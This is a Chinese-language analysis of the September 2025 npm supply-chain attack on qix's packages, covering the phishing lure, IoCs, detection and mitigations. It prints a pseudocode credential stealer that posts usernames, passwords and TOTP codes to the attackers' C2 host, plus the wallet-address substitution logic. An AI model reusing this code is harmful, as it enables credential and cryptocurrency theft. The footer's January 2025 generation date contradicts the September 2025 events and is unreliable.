NPM供应链攻击技术分析:史上最大规模攻击仅获利5美分
概述
2025年9月8日,一名攻击者成功入侵了知名NPM包维护者 qix 的账户,包括 chalk 和 debug-js 等超人气软件包。这些软件包每周下载量超过20亿次,使其成为历史上规模最大的供应链攻击事件之一。然而,具有讽刺意味的是,攻击者仅窃取了约5美分的ETH和20美元的meme币。
攻击时间线

攻击手法分析
1. 初始入侵:钓鱼攻击
攻击者通过精心设计的钓鱼邮件成功获取了维护者凭据:
钓鱼邮件特征:
- 发件人:
support@npmjs[.]help(伪装npm官方域名) - 域名解析:
185.7.81.108 - 钓鱼链接:
https://www.npmjs[.]help/settings/qix/tfa/manageTfa?action=setup-totp
恶意资源加载:
- CDN桶1:
static-mw-host.b-cdn[.]net - CDN桶2:
img-data-backup.b-cdn[.]net - C2服务器:
websocket-api2.publicvm[.]com
2. 凭据窃取机制
钓鱼页面加载的恶意脚本执行以下操作:
// 伪代码示例
function stealCredentials() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
const totp = document.getElementById('totp').value;
// 发送到C2服务器
fetch('https://websocket-api2.publicvm[.]com/collect', {
method: 'POST',
body: JSON.stringify({ username, password, totp })
});
}3. 恶意包分析
攻击者入侵账户后,立即向所有包发布更新,嵌入了加密货币窃取器。
恶意代码特征:
- 目标环境:仅针对浏览器环境(检查
window.ethereum) - 非持久化:不读取文件系统,不安装传统恶意软件
- Hook机制:拦截关键函数
技术细节深入分析
Ethereum攻击机制
恶意代码针对以太坊钱包的攻击策略:

被Hook的函数:
request- 基础请求方法send- 发送交易sendAsync- 异步发送fetch- HTTP请求XMLHttpRequest.prototype.open/send- AJAX请求
地址替换规则:
| 原始方法 | 攻击行为 |
|---|---|
approve() | 替换spender地址 |
permit() | 替换spender地址 |
transfer() | 替换recipient地址 |
transferFrom() | 替换recipient地址 |
| 有value的交易 | 替换整个目标地址 |
| 无data的交易 | 替换整个目标地址 |
Solana攻击机制
对于Solana请求,攻击者采用破坏性策略:
- 将所有recipient、destination和keys替换为
19111111111111111111111111111111 - 这会导致交易失败,而非窃取资金
网络请求劫持
对于所有使用 fetch 或 XMLHttpRequest 的网络请求:
// 使用Levenshtein距离算法进行地址替换
function findClosestAddress(originalAddress, hardcodedAddresses) {
let minDistance = Infinity;
let closestAddress = originalAddress;
for (const addr of hardcodedAddresses) {
const distance = levenshteinDistance(originalAddress, addr);
if (distance < minDistance) {
minDistance = distance;
closestAddress = addr;
}
}
return closestAddress;
}攻击特点:
- 拦截所有JSON响应
- 查找类似加密地址的字符串模式
- 使用编辑距离算法找到最接近的硬编码地址
- 支持280个预加载的攻击地址
影响评估
攻击规模
| 指标 | 数值 |
|---|---|
| 影响包数量 | 所有qix发布的包 |
| 每周下载量 | > 20亿次 |
| 主要影响包 | chalk, debug-js |
| 实际获利 | ~0.05 USD + 20 USD meme币 |
为何攻击失败
- 环境限制:恶意代码仅设计用于浏览器环境
- CI/CD错误:未检查fetch是否存在,导致在Node.js环境中报错
- 检测迅速:安全团队快速响应
- 目标选择:加密货币钱包用户在开发者工具包用户中占比较小
检测与清除方法
维护者检测
# 1. 检查本地node_modules
grep -R 'checkethereumw' node_modules/
# 2. 检查npm缓存
# 使用phxgg提供的脚本
npm cache verify
# 3. 检查项目依赖
# 使用AndrewMohawk提供的扫描脚本用户防护措施
- 交易验证:始终检查签名交易的地址
- 钱包安全:使用硬件钱包进行大额交易
- 依赖审计:使用
npm audit检查异常依赖 - 版本锁定:使用
package-lock.json锁定版本
攻击链路图

威胁指标 (IoCs)
域名与IP
npmjs[.]helpstatic-mw-host.b-cdn[.]netimg-data-backup.b-cdn[.]netwebsocket-api2.publicvm[.]com185.7.81.108
加密货币地址 (部分列表)
BTC:
1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd- (更多地址见原文IoC列表)
ETH:
0xFc4a4858bafef54D1b1d7697bfb5c52F4c1669760xa29eeFb3f21Dc8FA8bce065Db4f4354AA683c024- (更多地址见原文IoC列表)
经验教训与防护建议
对维护者
- 警惕钓鱼:仔细验证邮件发件人域名
- 启用硬件密钥:使用FIDO2/U2F替代TOTP
- 分离职责:不同包使用不同维护账户
- 监控发布:设置发布前的自动化检查
对用户
- 依赖审查:定期审计项目依赖
- 自动化扫描:集成SCA工具到CI/CD
- 网络隔离:开发环境与交易环境分离
- 及时更新:关注安全公告并快速响应
对平台
- 域名保护:监控并下放假冒域名
- 异常检测:检测大规模包更新行为
- 双重确认:对敏感操作要求额外验证
- 快速响应:建立应急响应机制
事件启示
此次事件具有讽刺意味的结局揭示了几个重要事实:
- 攻击不总是技术精湛:此次攻击依靠的是社会工程学而非复杂的技术漏洞
- 规模不等于收益:即使影响20亿次下载的攻击,实际收益也可能微乎其微
- 防御体系有效:快速的检测和响应限制了攻击的实际损害
- 经济动机变化:攻击者的目标从直接窃取转向可能的安全服务销售
参考资源
- 原始报告:Security Alliance Radar
- SEAL Framework: 交易签名与验证最佳实践
- phxgg的npm缓存检查脚本
- AndrewMohawk的项目扫描脚本
文档生成时间:2025年1月15日
分析来源:Security Alliance Radar - samczsun